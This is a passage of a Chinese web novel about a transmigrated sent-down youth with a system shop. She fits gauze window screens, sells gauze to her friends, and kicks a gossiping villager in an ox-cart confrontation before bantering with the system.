程十一清了清嗓子，瞬间让三个人的注意力全都集中在了她身上。 “那啥，我是这么想的，你们看看行不行。” 程十一觉得有的时候自己直接拍板拿主意，省去大家讨论来讨论去的时间其实也挺好的。 毕竟，时间就是生命，时间就是金钱嘛！ “十一，你说。” “小程知青，你说吧！” “嗯，你说！” 被异口同声对待的程十一又轻咳一声，道：“刚刚娇娇姐用尖椒炒得干肠片挺不错的，我觉得有荤有素，这样就挺好。” 这话得到了两位男同志的赞同。 程十一又道：“肉罐头炒土豆片的味道也不错。” 两位男同志再次表示赞同。 程十一：“鸡蛋韭菜也挺不错，还有拍黄瓜也挺好。” “要不这样吧，和大队长他们说一下，明天晚上请他们五个人吃饭，白天正好去公社里看看能不能买到别的什么。” “先定下来这四道菜，回头要是能买到别的什么好玩意儿了，这四道菜就少做点，再添点别的，这样菜色多一些，好看。” 随着程十一的话音落下，三个人一起用力点头。 这件事定下来后，三个人便拿着各自的饭盒离开了。 至于厨房，陈丽娇早就已经在做晚饭后打扫干净。 而两个水桶里的水也都被耿二牛和祝成才用他们自己的水桶重新提水回来倒满。 程十一将院门一关，挂上门闩，之后便回了自己房间。 这一下午都不用担心再有人来打扰自己了，所以也就不用摆得满炕都是的装样子。 将东西全部收进系统仓库，用意念将自己需要的东西拿出来，这样就省下了动手翻找这一步。 房子虽小，但却开了四扇窗户。 厨房门旁边，灶台一侧的窗户小是小了点，但这样不开门也能有光照进来。 对着厨房门也有一扇窗户，不算大，但通风没问题。 房间里的窗户也是南北各一扇。 北面的窗户小一些，只用于通风，而南面的窗户就不小了，差不多有一米二的宽度。 整个大队上也没几栋房子用上玻璃的，大部分都是窗板遮挡。 也有贴窗纸的，可那个也是要花钱买的，一般都是冬天里贴得多一些，夏天窗纸坏了就坏了。 程十一四人的房间现在就是个木架子窗框，外面有窗板，但却没有窗纸，可以说和知青点的窗户情况差不多。 按照原本的习惯，这么大的物资根本不需要开这么大的窗户，等入了冬，这窗户透风，屋里的热乎气可就都藏不住了。 可程十一受不了。 本来房间小就很容易让人感觉到压抑了，要是窗户再小些，程十一简直不敢想象那和蹲小黑屋有什么区别。 目前没玻璃，但窗纸明天去公社就能买回来了。 透光性不如玻璃，可也比这么空着窗户强。 商城里倒是能够买到玻璃，但这玩意儿现在也算得上是金贵货了，没个说得清楚的来路，回头别玻璃窗还没用上，人就先被抓起来审问了。 这会儿程十一拿出了一大包医用纱布出来。 玻璃不好拿出来，但纱布这玩意儿还是好解释的。 一大包纱布展开，就嘴里叼上几个小钉子，一手捏着一根木条，一手拿着一把小锤子，程十一就这样忙乎起来了。 先用钉子将纱布的两个角固定在窗户上面的两个角上边，然后用木条贴着窗框，就这样将纱布彻底固定好。 随着一阵当当当的声响，程十一那空荡荡的窗框就被一层纱布覆盖。 虽然只有一层，要说多有隐蔽感那还真不至于，但好歹也算得上是个纱窗了。 之后是后面的窗户，甚至是厨房的两扇窗户也都被这样处理好。 现在天气是冷了下来，可程十一还是发现了蚊子的踪影。 为了晚上能够睡好觉，纱窗这东西是真不能省。 第94章 带个锤子下乡不是很正常的吗？ 回到自己家的陈丽娇简单的收拾了下就上炕睡觉去了。 这几天在知青点一直都没休息好。 孙娟虽说在程十一的监督下终于晚上洗脚了，但那味道真不是简单的洗一洗就能完全消失的。 只能说气味没那么熏人了，但还是有的。 后来大家都开始上工了，刚开始的两天，哪怕工作量据说已经是很轻了，但陈丽娇还是累的浑身酸痛，根本睡不好，一翻身就会疼醒。 而孙娟也不知道是终于原形毕露了还是被累的，竟然开启了打鼾、磨牙、放屁之类的一系列操作。 偏偏这都是睡着发生的，真是让人想教训她都不好动手。 如今终于有了自己的房子，中午又吃得饱饱的，现在的陈丽娇就只想好好的睡上一觉。 事实也确实是刚躺下没几分钟就睡着了，可睡着睡着，陈丽娇就又醒了。 隔壁院子传来当当当的声音，陈丽娇刚开始只以为是自己听错了，可很快就意识到不对劲。 眼皮很沉，陈丽娇给自己做了好大的思想建设才终于爬起来，来到隔壁院子推门，结果没推开。 敲门，没反应。 直到她趁着当当当声音的间歇敲门，这才让程十一听见。 只不过等到她跟着程十一进屋的时候，程十一已经动作麻利的给四扇窗户全都上了纱布。 白色的纱布就这样挡在窗户上，陈丽娇的眼睛瞪得溜圆：“十一，你这里还有纱布吗？我出钱和你换点好不好？” 窗户上有了这么一层纱布，那白天的时候开窗户，屋里可就不用担心会飞进去什么小虫子之类的了！ 程十一指了指炕上剩下的纱布，已经被拆开了，上面还有一些零散的摊在炕上：“自己扯。” “好！” 陈丽娇刚要动手，突然想到什么，转身就往外面走，一边走还一边说：“你等等哈！我问问他俩要不要，到时候让他俩拿着东西过来和你换。” 程十一：…… 倒也不用这么热情的介绍生意。 真的，她虽然有打算用商城里的商品换钱，可也没想过在这三个小伙伴身上实操。 可程十一的尔康手压根就没能挽留住兴奋的陈丽娇。 很快，程十一的屋里就再次迎来了三位小伙伴。 三个人有一个算一个，全都目光灼灼的看着炕上散落的白色纱布。 “小程知青，你这个打算怎么换？” 祝成才的语气里都带着明显的喜意。 可见那没有玻璃，甚至是没有窗纸的窗框让他们都很没安全感。 程十一想了想商城的价格。 就，怎么说呢？ 八十公分宽，八十米长，一大包8块钱。 对于她来说，跟白给的差不多了，但是放在当下这个时代，这个价格好像是真的不算便宜了。 见程十一不说话，陈丽娇有点心疼，来到她身边，轻轻的拍了拍她的肩膀，柔声道：“十一，你别怕，咱们不全都要，也不会让你吃亏的。” 祝成才也反应过来了：“对，小程知青，你看这样行不行，我们一个人给你两块钱，也不多要，就像你这样一扇窗户弄一层就好。” 说着还看了看耿二牛和陈丽娇，用眼神询问他们俩的意思。 这俩人都没意见，一起点头。 程十一有点无奈。 送到眼前的大脑袋，自己是宰？还是不宰？ “不用两块钱，一人给我一块钱就行了。” 不宰是不可能的，毕竟她的钱也不是大风刮来的。 唯一的良心就是不会多赚很多。 一块钱也行了，毕竟只有房间的南窗户的尺寸大一些，另外三个窗户的尺寸都很小，用不上太多。 “行。” 三个人异口同声。 之后就是裁剪。 四个房子的尺寸大小都差不多，所以只要按照程十一这屋的窗户裁剪也就可以了。 程十一自问自己多少还是有点良心的，直接让他们多裁了小半米，还给他们每个人都分了小钉子和木条。 木条不是商城里买的，而是之前去黄有根家里时看到的，程十一当时就想着弄个纱窗之类的东西，所以多要了些。 当时黄有根就在家，一听说是要这种没有多大用处的木条，而且还只是要那么几根，他就索性捆了一捆给了程十一，现在正好方便了他们四个人的纱窗大计。 锤子不是新的，是程十一从王家带出来的。 对于程十一下乡连锤子都带这种事，陈丽娇已经见怪不怪了。 毕竟连铁锅和调料都能带下乡的人，再带个锤子，这有什么难以理解的？ 至于耿二牛和祝成才，俩人心里不是没有诧异，可一想到程十一那么多的大包袱，份量还都不轻，这么一下想，突然拿个锤子出来似乎也没什么不得了的了。 陈丽娇的纱窗不是她动手弄的，更加没有程十一那种先要用钉子简单固定一下再上木条的操作。 耿二牛和祝成才两个人通力合作，很快就将所有的窗户都上了一层纱窗。 至于这层纱窗能坚持用多久，这完全不在他们目前的考虑范围内。 程十一也没跟着过去看热闹，继续拾掇自己的小屋。 纱窗有了，现在就是一些小物件。 王家有块半身像的镜子，椭圆形的，周围还有一圈红色的塑料保护套，甚至还做了些花型。 这镜子在王家的历史少说也得有十年了，不过半点脏污都没有。 有原主那个任劳任怨的小丫鬟在，王家的东西都保持在很干净的状态。 程十一将这块镜子拿出来后，站在屋里前后左右的看了看，最后在门旁的墙上钉了根钉子，将镜子挂了上去。 镜子下面有点空。 想到系统仓库里的柜子，程十一还是果断摇头，准备回头去黄有根家再挑个矮柜回来，到时候上面放着木梳、擦脸的东西，这样用起来就方便多了。 等到耿二牛来还锤子以及剩下的木条时，程十一已经将自己的房间安排好了。 甚至于连衣柜里都摆了她的新旧衣服，至于从王家搜刮的其他人的衣服，程十一一件都没拿出来。 不是太大就是太大，她现在实在很穿不了，回头找个机会看看能不能和人换成别的东西，或者是拆了毁成新的衣服出来。 第95章 凭啥送给你们用？ 晚饭还是在程十一的家里完成的，另外三个人商量了下，一人买一口铁锅，这肯定是做不到的。 一口铁锅所需要的工业票数量虽然不固定，但那是绝对少不了要用到的。 而工业票的获得一点都不容易，每超过20块钱工资的正式职工才能得到一张工业票。 可以说票很不好得，但需要这东西的地方却有不少。 锅碗瓢盆，自行车缝纫机，大大小小的东西很多地方都要用得到。 哪怕是陈丽娇这样手里不差钱的下乡知青，手里的工业票数量也是很宝贝的。 所以三个人最后的商量结果就是先买瓦罐回来。 说是瓦罐，其实也还可以买像是砂锅之类的厨具，不过具体的就要等到了公社后才知道了。 更何况铁锅那东西也不是现在的绝对必需品，供销社里都不见得能有现成的铁锅。 对于这三个人的困境和选择，程十一的态度就是听听就算了。 她有商城在，买铁锅简直不要太轻松，可问题在于她不能也不想这么做。 有她这么一个奇葩带着铁锅下乡就已经很惹眼了，要是他们四个人手里有四口铁锅，那不是明摆着让人认为他们四个人有问题吗？ 好在陈丽娇三个人也都是心里有成算的，都没张嘴问程十一有没有工业票。 吃过饭，三个人便一起离开。 第二天一早，程十一也没做饭，直接从商城里买了现成的肉包子和加糖豆浆，吃饱喝足便叫上了另外三个人朝着村口走。 今天放假，可不仅仅是给知青们放假，而是给整个大队的社员放假。 明天就开始秋收了，除非是发生了特别严重的事，否则就算是四五岁大的孩子都要跟着下地干活。 帮忙捡稻穗，或者是去砍猪草，总之就没有一个是真正能闲下来的。 平日里不积极上工的人，一到了秋收这样的重大日子里，哪怕是装相也要装成一个勤快人。 谁敢在这样的时候磨洋工，不好好干活，大队长那是真的能操起棍子来揍人。 当然，就算大队长不发现，身边人也会相互监督。 总之，粮食大过天，没人会同意有人在这种时候拖后腿。 而秋收期间的伙食水平也是一整年里面算得上是数一数二的好了。 但凡是家里稍微还有点富余的人家今天都会去供销社里买点肉或者骨头回来，让家里人的肚子里多点油水，秋收上工的时候力气也能跟得上。 所以今天去公社的人会有很多，而牛车的位置就那么大，哪怕是两辆牛车，可也不能坐下整个大队的人。 这就代表着今天必须早早的去占位置，要不然就只能靠着两条腿去公社。 当然，牛车也不是免费坐的，每个人两分钱的车钱。 说多不多，说少不少，舍不得这点车钱的人还是有的，但其中绝对没有程十一和陈丽娇。 有程十一催着，陈丽娇拿出来当早饭的饼干还没等吃完就赶紧出来了，身上挂着挎包，嘴里叼着一块饼干，手忙脚乱的给门上了锁。 “别着急，不差这一会儿。” 看着对方这样子，程十一都不知道该说点什么好了。 感情这是第一天自己住，结果这姐姐就睡过头了？ 瞧瞧那平日里梳得整整齐齐的头发，现在竟然还有明显的炸毛。 陈丽娇来到程十一身边，这才将嘴里的饼干拿出来，又从兜里掏了掏，掏出了个干净的手帕，里面明显包着东西，递给了程十一：“还没吃早饭吧！吃两块饼干垫垫肚子，回头到了公社，姐请你吃肉包子。” “不用，我早上吃东西了。” 程十一不想吃饼干了，也不想吃肉包子，因为她刚刚吃过了。 陈丽娇也没坚持。 俩人现在关系好得跟亲姐妹似的，她知道程十一不是那种装假的人，不想吃那就是真的不想吃，便又将包了饼干的手帕重新放回挎包里。 另外两位男同志也出来了，四个人分成两队，一前一后朝着村口走。 还没到村口，就看到了那里停着两辆牛车，上面都坐了人，不过瞧着还没满。 最好的靠着前面的位置已经没有了，好在中间还有位置，程十一赶紧拉着陈丽娇坐上去。 坐车的基本上都是女的，倒也没有那么让人不舒服。 不过知青里面来的最早的倒是他们四个。 耿二牛和祝成才本来也打算坐牛车的，可是看着车上都是女的，他们俩不好意思，便站在旁边等着，盼着等下能有男社员过来。 坐上车，程十一和陈丽娇就凑在一起小声嘀咕等下要买点什么，声音不大，可大家都坐得近，还是难免被人听了去。 此时坐在俩人对面的一个婶子突然说道：“哎呦，陈知青，小程知青，你们俩这要买的东西可挺老多啊！” 程十一的声音一顿，抬头看向对方。 是个看起来能有四五十岁的妇女，和大部分人一样，很瘦，脸颊上看不出多少肉，显得颧骨很凸出。 再配上那双三角眼，给人一种很不好相处的感觉。 可这会儿这人偏偏还扯着一脸的笑，一双眼珠子在程十一二人身上来回的看。 那眼神就像是在挑拣货物似的，让人很不舒服。 就冲着这人的眼神，程十一对这人的印象就直接拉到了0分以下。 “这位奶奶，我们新下乡的知青啥啥都缺，不去买，难不成你能发挥团结友爱的精神送给我们吗？” 程十一这次的声音可不算小了，别说是这辆牛车上的人，就连另外一辆牛车的人都听见，并且看了过来。 对方的表情一僵，随即脸色一变，很是不善的反驳道：“你这小丫头片子咋说话？谁家的东西是大风刮来的啊？凭啥送给你们用？” “这位奶奶，瞧您这话说的，您刚刚不是很嫌弃我们买东西多嘛！都说听话听音，一听您刚刚那话就是想让我们节省点，会过日子点，那我们肯定听劝啊！您一位老人家如此为我们这些年轻人着想，那肯定也得帮我们解决没东西可用，没东西可吃的困境啊！” 说着，程十一眨巴眨巴眼睛，一脸的无辜不解：“咋？难道这位奶奶其实并不是想要帮我们的意思？是想看着我们活生生的饿死，难死，然后到时候传出咱们光荣大队虐待知青的恶名吗？” 第96章 就算是，她也不承认 见对方要说话，程十一压根不给她机会，语速快，发音还特别准的嚷嚷起来了：“哎呀呀，我说这位老奶奶，您不是吧，您这真是打算让我们新来的知青全都饿死难死，让整个大队都背上恶名啊？” “我虽说是新知青，可以前也听人说过，一个大队那就是一个大集体，一个大家庭，要是一个家坏了名声，那可是要牵连整个家庭里的成员的！” “这位老太太，您可不能这样啊！您就算是再看不上新下乡的知青，那也不能拿整个大队的社员名声办事啊！” 这个时代名声可是很重要的。 虽说那一场活动如今已经进入了尾声，但余威尚存，且经历过了那些年的乱后，大家心里的阴影那可不是一时半会儿就能散的。 牵扯到了整个大队的名声，这哪里还能是小事？ 只是眨眼间，大家看向那个人的眼神就都变了。 原本坐在她身边的人甚至还挪了挪位置，那嫌弃的意思简直不要太明显。 这下妇人是彻底急了，她想骂，可程十一的话又快又密，根本没有插话的机会。 一着急，一生气，妇人直接伸出了两只手，朝着程十一的脸就抓了过去。 陈丽娇见此，急得不行，几乎是下意识的抬起了胳膊去要挡。 可她的胳膊刚抬起来就被人按住了。 同时她看到了程十一竟突然抬起了一只脚，直接踹在了对方的下巴上。 一切发生得太快，所有人都没反应过来，那个妇人就已经被踹得整个人朝后仰去。 牛车上虽然有挡板，可那挡板并没有很高，也就是防止路上遇到颠簸的时候人没防备摔下去。 再一个也是能扶着些，增加些安全性。 可现在被这人这么大角度的往后倒，挡板的高度根本就挡不住她。 于是所有人就这么看着这人仰过挡板，大头朝下的朝着地面栽去。 有人发出惊呼，有人瞪大了眼睛做不出别的反应。 眼看着这人的脑袋就要撞到地上，有胆小的人已经闭上了眼睛，不敢看接下来会发生的画面。 而程十一却很淡定。 摔就摔了，磕就磕了，反正她才不吃亏，就算是闹到警方那边那也只能算她防卫过当。 然而变故就是在这一瞬间发生的。 一道绿色的身影像是一阵风一样冲了过来，赶在妇人头碰地的瞬间，一把扯住了她的头发。 只听见那妇人嗷的一声惨叫，之后人竟然是直接飞出了牛车，砸落在了不远处的草丛里。 “啊这，这……” 大家的眼球都快瞪出来了。 程十一也是惊讶的看着这一幕。 这个穿着一身军装的兵哥的速度好快，反应也好快，这脸看着也好眼熟啊！ 顾青也是被吓了一大跳。 他本来是打算走着去公社的，结果没想到刚到这里就看到了那么惊险的画面。 几乎是下意识的，他直接冲了上去。 本来是想铲地用自己的身体垫在对方头下面，这样总比直接磕在地上强。 同时再用手撑一下对方的身体，应该就不会受伤了。 可让他没想到的是自己竟然一把抓住了对方的头发。 抓住头发的时候也是想将人抓起来的，但因为角度的关系，他也只来得及做出将人往一侧拽的举动。 之后就见这人飞！出！去！了！ 顾青看了眼砸落在草丛里的人影，又看了看手里的大粉头巾，一时间竟然不知道该做点什么才好。 所以，他刚刚抓住的并非是那人的头发，而是包头用的纱巾？ 难怪事情的发展和他预想的不一样，因为纱巾滑，这才造成了脱手将人飞出去的局面。 “啊啊啊！” 摔进草丛里的女人嗷嗷大叫着，终于唤回了其他人的注意力。 “赶紧来人帮忙将人扶起来。” 顾青此时也意识到了那是个女的，就算不知道年纪大小，但现场这么多人在，还是多叫几个人过去帮忙吧！ 和那个人平日里关系还算不错的社员赶忙下了牛车去帮忙，而顾青则是看向了程十一。 刚刚离着并不算远，要不然他也不可能一下子就冲过来救人。 所以他看得清楚，是这个小知青一脚将人踹仰的。 虽说对方也算得上是防卫吧，但这反应是不是有点过于勇猛了？ 程十一见顾青看向自己，眨巴眨巴眼：“你为啥看我？我可没想过要伤害她哈，是她非要打我，我完全是下意识做出的防卫动作而已。” 说着，程十一还搂紧了陈丽娇的胳膊，哼哼唧唧的装委屈：“我好好的和我姐姐说话，她非要找茬就算了，还动手要抓我的脸。我一个小姑娘，就算长得再不咋地，也不能这样被挠花脸吧！万一以后嫁不出去了咋办？” 顾青：…… 他说啥了？ 他不就是看了一眼吗？这丫头的反应要不要这么大？ “咋了咋了这是？” 今天是放假的日子，很多人都会去公社，顾草根自然也要去的，去找公社领导，顺便给家里也添置点东西。 哪曾想刚一过来就看到了这闹哄哄的画面，吓得他赶紧就跑了过来。 大家一看大队长来了，纷纷说起了刚刚发生的事。 人太多，说话的人也多，一个个的嗓门还贼大，以至于顾草根压根没听明白到底发生了什么事，还被吵得脑子嗡嗡作响。 “都闭嘴！” 顾草根气得大喘一口气，然后看向顾青：“青小子，你说，这到底是发生啥事了？” 在场这么多人，有一个算一个，顾草根都不信她们能将事情原原本本的说清楚，还是顾青这孩子靠谱，让他说准没错。 顾青看了一眼正被人扶着站起来的社员，又看了一眼程十一，这才和顾草根说起了自己刚刚看到的画面。 一听说这事和程十一有关，还是直接关系，顾草根的眼皮就是一阵狂跳，当即就瞪向了程十一。 程十一也在听顾青的描述，整体来说还是很客观的，不过他不知道发生动手之前的事，所以不用想，大队长肯定以为是自己这个新知青没事找茬了。 可她程十一会什么都不解释吗？ 她不仅要解释，还要抢先解释！ 有的时候先告状的可不一定是恶人，当然，就算是，她程十一也不承认。 第97章 十一再出脚，顾青惹怀疑 所以，在对上顾草根瞪过来的视线后，程十一立刻嘴皮子利索的将前面的事全都说了一遍。 要说添油加醋？ 那没有。 绝对是中规中矩的说出了之前发生的一切画面。 但就是给人一种她很委屈，她被欺负了的错觉。 程十一说完还委屈的撇撇嘴：“大队长，您说我哪里做错了吗？” 顾草根：…… 这丫头的嘴皮子到底是咋长的啊？吃猪口条长大的吗？咋就这么能叭叭呢？ “大队长啊！” 这会儿被人扶着走过来的妇女终于过来了，一开口就是嗷的一嗓子。 别说是其他人了，就连顾草根这么一个大老爷们都被吓得一个激灵。 只见那人两条胳膊都被人架着，整个人歪歪扭扭的走着，看起来就像是受到了多大的折磨似的。 头发上还挂着几根草，身上的衣服也是皱皱巴巴的。 还别说，这模样看起来还真挺惨的。 “大队长，你可得给我做主啊！我这是被人欺负死了啊！” 妇人一边哭一边嚎，那嗓门叫一个中气十足，着实和她的这副病弱的样子完全不符。 顾草根嘴角直抽抽：“老张婆子，你差不多行了，听听你那动静，别人连着吃三个月饱饭的人都没你的底气足！” 刚刚是没看到甩出去的人是谁，所以很紧张。 现在一看到这人竟然是老张婆子，顾草根瞬间就感觉程十一那小丫头说得可能都是真的了。 这老张婆子可是他们光荣大队出了名的碎嘴，不仅嘴巴碎，心眼小，关键是还特别喜欢占别人便宜。 走出家门，但凡不捡点东西回去那都算是她丢东西了。 老张婆子的话音一顿，猛地又拔高了几分：“大队长，你这是啥意思？咋的？你这是要偏袒那两个外来的小贱蹄子了是不是？老娘可是和你是一个大队的！” “贱蹄子骂谁呢？” 程十一的脸冷了下来。 老张婆子想都没想的就回道：“贱蹄子骂你呢！” “噗嗤！” “哈哈哈！” 话音落，周围就响起了一阵哄笑声。 原本很不爽被人骂的程十一都明显的愣了下。 好家伙，这么老的梗了，现在居然还好用？ 再一想当下这个时代和环境，程十一又淡定了。 这时候还没有这么老的梗，也难怪还有效了。 “哦，原来是贱蹄子骂我啊！那算了吧，我不太喜欢和贱蹄子计较。” 程十一耸耸肩，脸上的冷意也散了。 那速度快得好像没出现过似的。 事实上这附近的所有人有一个算一个，除了顾青外，就没人注意到程十一刚刚的脸色变化。 看着这变脸如翻书一般快速的小丫头，顾青的眉毛挑了挑。 小妮子，有点意思。 程十一并没有注意到顾青的眼神，此时她正看着老张婆子的嘴巴一张一合的，愣是一句话都说不出来。 良久，老张婆子终于反应来了，嗷的一声，一把推开身边扶着自己的人，踉跄着朝着程十一就扑了过去：“小贱蹄子，你@#$%……” 污言秽语与器了个官并齐。 程十一并不怕她，甚至还从牛车上站了起来。 “拦住她！快拦住她！” 顾草根是真没想到老张婆子竟然当着他这个大队长的面还敢这么闹腾，气得不轻。 周围的人看着老张婆子那疯癫的样子，哪里敢上前啊，万一被抓花了脸可没地儿说理去。 主要是老张婆子这人的人品不怎么好，平日里倒是也有能说得上话聊天的老姐妹，但要说能顶着被抓花脸过来拦架的，那是真一个都没有。 顾草根眼看着老张婆子就要冲到牛车跟前了还没人拦着，头皮一麻，只能自己冲上前。 只是还不等他冲过去，顾青就一把抓住了他的胳膊，愣是将人又往回拽了两步。 与此同时，大家就看到本来站在牛车上的那抹瘦小的身影已经单手撑着栏板，整个人直接斜着跳了下去。 在跳下去的同时，一只脚就像是扫堂腿似的，扫过了老张婆子的一侧脸颊。 瞬间，老张婆子朝着一侧栽了下去。 这次倒不是大头朝下了，这画面也不是很好看。 众人看到从老张婆子的嘴里飞出了一口红色的液体，里面还夹杂着两颗颜色发黄的东西。 “噗！” 一口血喷出去，老张婆子人也趴在了地上。 叫骂的声音没有了，但老张婆子的痛呼声却是一声高过一声。 一切发生得都太过快速，在场的人除了顾青和程十一外，其他人好半天都没反应过来。 顾青松开了抓着顾草根胳膊的手，目光幽深的看着已经安稳站在牛车旁边的程十一。 最开始的那一脚还能用防卫过当来解释，但刚刚那一个飞身踢可绝对不是普通人能随随便便做出来的。 这身手出现在一个小知青身上，不对劲，太不对劲了。 刚开始还只是觉得这个小知青挺有意思的，但现在，顾青有一种不太好的推测。 程十一并不知道自己这一手让某人产生了怀疑，她这会儿一手扶着挡板，一手捂嘴，一脸震惊错愕的看着倒在地上的老张婆子：“哎呀妈呀，我说这位老奶奶，您没事吧？您说说您，明明都看见我要跳下牛车了，您怎么还往前冲呢？瞧瞧，这可不怪我啊，是你非要冲过来的。” 所有人：…… 见过睁眼说瞎话的，没见过这么能睁眼说瞎话的。 顾草根也回过神来了，狠狠的瞪了程十一一眼，然后对着其他人招呼道：“还都傻愣着干啥，赶紧把人送到卫生所去！” 之后又对程十一说道：“你赶紧闭嘴吧！” 程十一哦了一声，又重新上了牛车。 不过这一次，大家看向她的眼神就更加复杂了。 之前还是对这个小知青的家底的好奇，以及其他的一些贪婪的想法，但现在，大家都只有一个念头，那就是这个小程知青不好惹。 大家都看得真切，哪里是老张婆子主动送上去让她踹，分明就是这个小程知青主动出手伤人啊！ 伤人了不说，还恶人先告状的把责任全都推给了受害者，这人的脸皮也太厚了！ 第98章 那是大队长家的儿媳妇儿吧？ 去公社的两辆牛车终于坐满了人，赶车的老汉挥舞着鞭子，就这样慢悠悠的移动起来。 耿二牛和祝成才到底还是坐上了牛车，和程十一二人是同一辆牛车，不过俩人是坐在了牛车车板的最后面，两条腿全都垂在了外面。 俩人身边也坐着另外两个男人，其中就有一身军装的顾青。 顾青原本是要自己走着去公社的，但顾草根没让。 顾草根怕半路上程十一再闹出什么事来，万一没人能控制得住可就麻烦了。 顾青是当兵的，肯定有身手，所以有他在，顾草根心里才安生。 对于这些，程十一完全不在意，也没关注。 此时的她正靠着陈丽娇的肩膀闭目养神。 说是闭目养神，实际上却是在和系统聊天。 程十一：不是，你给我细说说刚刚的提示是怎么回事？我娇娇姐的女配任务怎么就突然变化了？ 系统：亲爱的主人，你刚刚不是绑走了个老娘们么，那就是女配任务的触发人物之一。 刚刚被自己踹飞的老张婆子？ 程十一心中皱眉，继续追问：再说的仔细点。 接着，系统就将已解锁的剧情内容展示给了程十一听。 那个老张婆子在以陈丽娇作为女配的小说里面是一个相对重要的配角。 陈丽娇下乡后被设计嫁给了一个当地的乡下男人，对方又懒又穷，还打媳妇儿，而老张婆子就是这个男人的亲妈，也就是说，她是陈丽娇在书里面的婆婆。 今天早上的这次遇见，老陈婆子就是在观察程十一和陈丽娇，想从这两个新知青里面挑一个成为自己的儿媳妇儿。 毕竟都是能出得起钱盖房子的人，哪怕那房子说是大队的，知青们结婚了就要搬出去，可老张婆子觉得那都是吓唬人的。 反正她儿子要是娶了这两个知青中的一个，那房子是肯定不会让出去的。 而且就算让出去了也没事，既然知青有钱，那到时候就让她们的钱都给他们老张家花就是了，大不了就再起新房子呗！ 和程十一相比，陈丽娇这种盘顺条亮的知青自然是更让人满意。 原剧情中，陈丽娇就是因为去大家一起去公社，在牛车上和老张婆子坐在了一起，一路上老张婆子问这问那，陈丽娇本来不想搭理，可架不住车上还有其他人在，最后没办法，陈丽娇挑着几个回答了。 可就是这么几个问题回答了后，没多久，就传出来了陈丽娇和老张婆子家的儿子有关系，俩人看对眼了。 再之后又发生了一件放在这个时代足以毁掉一个女生名声的事。 陈丽娇落水，好巧不巧的被老张婆子的儿子救了。 俩人抱也抱了，再加上之前的传闻，陈丽娇即便是再不愿意，最后也不得不嫁给了对方。 但事实是因为有了程十一的出现，再加上程十一又是骂又是踢的一顿操作，老张婆子和陈丽娇压根就没说上一句话，这也就从根源上杜绝了可能会出现的传闻。 虽然不能从根源上解决问题，可也推动了任务的完成度。 就在刚刚牛车移动的瞬间，程十一听见了系统的提示，着实是被吓了一跳，她还以为那个任务要卡住很久很久呢！ 听完了系统的解释后，程十一忍不住一声长叹：“我说统统啊！咱们这任务下次能不能提前提醒下啊？要是早知道拿家伙以后会欺负我娇娇姐，我刚刚就不收着力气了。” 不说将人踹死吧，但肯定要踢掉她的满口牙。 系统也很无奈：“主人，这个统统也说得不算啊！要是统统能办到，统统肯定早早的就和你说了，也不会现在才和你说。” 一人一统齐齐叹气。 没办法，这种事系统也改变不了。 程十一已经了解了事情的经过，也就不再装睡了，坐直了身子，揉了揉鼻子。 陈丽娇立刻将水壶的盖子拧开递过来：“醒了？喝口水吧！” “我不渴。” 程十一摇摇头。 渴倒是不渴，就是感觉嘴闲着有点难受，于是在自己的挎包里摸了摸，摸出了两个青皮橘子。 表皮有些皱巴了，一看就是放了挺长时间的。 这橘子是程十一从商城里买的，为了不显得那么惊世骇俗的新鲜，她可是特意放在了箱子存了三天了。 现在看着这有些皱巴的表皮，程十一表示很满意。 “娇娇姐，吃橘子。” 程十一将其中一个塞到了陈丽娇的手里。 陈丽娇看着橘子，下意识的咽了咽口水。 倒也不是很馋，主要是这橘子看着就让人感觉到了酸，那口水就不受控制的分泌起来了。 这会儿坐在俩人对面的不再是之前的老张婆子了，而是一个看起来能有二十出头的小媳妇儿，头上扎着红色的头巾，皮肤看起来不算细腻，但也比别人强一些。 这会儿她也看到了程十一手里的橘子，也是忍不住吞口水。 程十一注意到了她的视线，本来想给对方一个大白眼的，可是在看到对方的长相后，程十一不由得一怔。 这人……看着咋就那么像大队长家的儿媳妇儿呢？ 大儿媳妇儿还是二儿媳妇儿来着？ 不记得了。 “嫂子，你也去公社啊？” 程十一主动和对方打招呼。 刘翠花一愣，反应过来是和自己说话的，这才赶忙笑着点点头：“嗯，明天就是秋收了，我娘让我跟着我爹去公社一趟，看看能不能买点肉或者骨头啥的。” “啊！我还以为大队长会买呢！” 程十一不好意思直接询问对方是不是大队长家的儿媳妇儿，万一人家是，自己却不记得，那得多尴尬啊！ 刘翠花抿唇一笑，朝着前面的牛车看了一眼，这才小声说道：“我娘说了，我爹一个大老粗，让他买肉回来，估摸着都买不到啥好肉，所以才让我跟着的。” 得，还真是大队长家的儿媳妇儿。 程十一半点不露尴尬的神色，还很自然的将手里的橘子递给了对方：“嫂子，吃个橘子。” “啊？这，这不好吧！这玩意儿太金贵了，你自己留着吃吧！” 第99章 他们也馋，但是他们不敢啊 刘翠花虽然馋，但还是摇摇头没接橘子。 她可不是那些眼皮子浅的人，要是就这么接了人家的橘子，保不齐回头就得有人传出什么风言风语出来。 在这种事情上，她作为大队长家的儿媳妇儿，平日里那可是没少被提醒念叨。 程十一才不管那么多，直接将橘子丢了过去。 牛车也不宽，对面坐着，几乎是脚尖顶着脚尖。 程十一根本不需要找什么力度和角度，就这么轻轻一抛就直接落入了对方怀里。 刘翠花被吓了一跳，赶忙将橘子拿起来，正要还回去，就看到程十一又从她那挎包里摸了个橘子出来。 程十一晃了晃手里的橘子，笑着说道：“我带了三个呢！嫂子快帮忙吃一个吧！这样腾腾地方，回头我包里还能装点别的东西带回来。” 此话一出，车上的其他人全都羡慕的看向了刘翠花。 妈呀，那可是橘子啊！ 虽说也不是没吃过，但这玩意儿是真的不好弄。 尤其是随着程十一和陈丽娇将橘子剥开后，那浓郁的香味儿让大家全都不自觉的吞口水。 陈丽娇丝毫不受影响。 她从小的生活环境就是这样。 上学的时候带点什么好东西去学校了，别管是一块饼干、一个发夹还是一支钢笔，总之都会引来各种关注。 最开始的时候还会有些不自在，可时间长了，次数多了，她也就习惯了。 程十一就更不用说了。 被人看着，她只会吃得更快。 末世里被人发现了食物，唯一的应对方式就是全部塞进自己的肚子里。 只有进了自己肚子，那才是真正属于自己的·。 唯一放不开的就只有刘翠花。 她是想吃，又舍不得吃，更不好意思吃。 几次摸了摸自己的肚子，刘翠花到底还是没忍住那种香味的刺激，终于还是剥开了橘子皮。 橘子酸酸甜甜，但酸占得更多一些。 程十一和陈丽娇都被酸得一咧嘴，直接出现了痛苦面具。 可刘翠花别说是痛苦面具了，竟然还吃得特别的……香！ 仿佛那橘子一点都不酸，而是纯甜口似的。 程十一只吃了两瓣就再也吃不下去了。 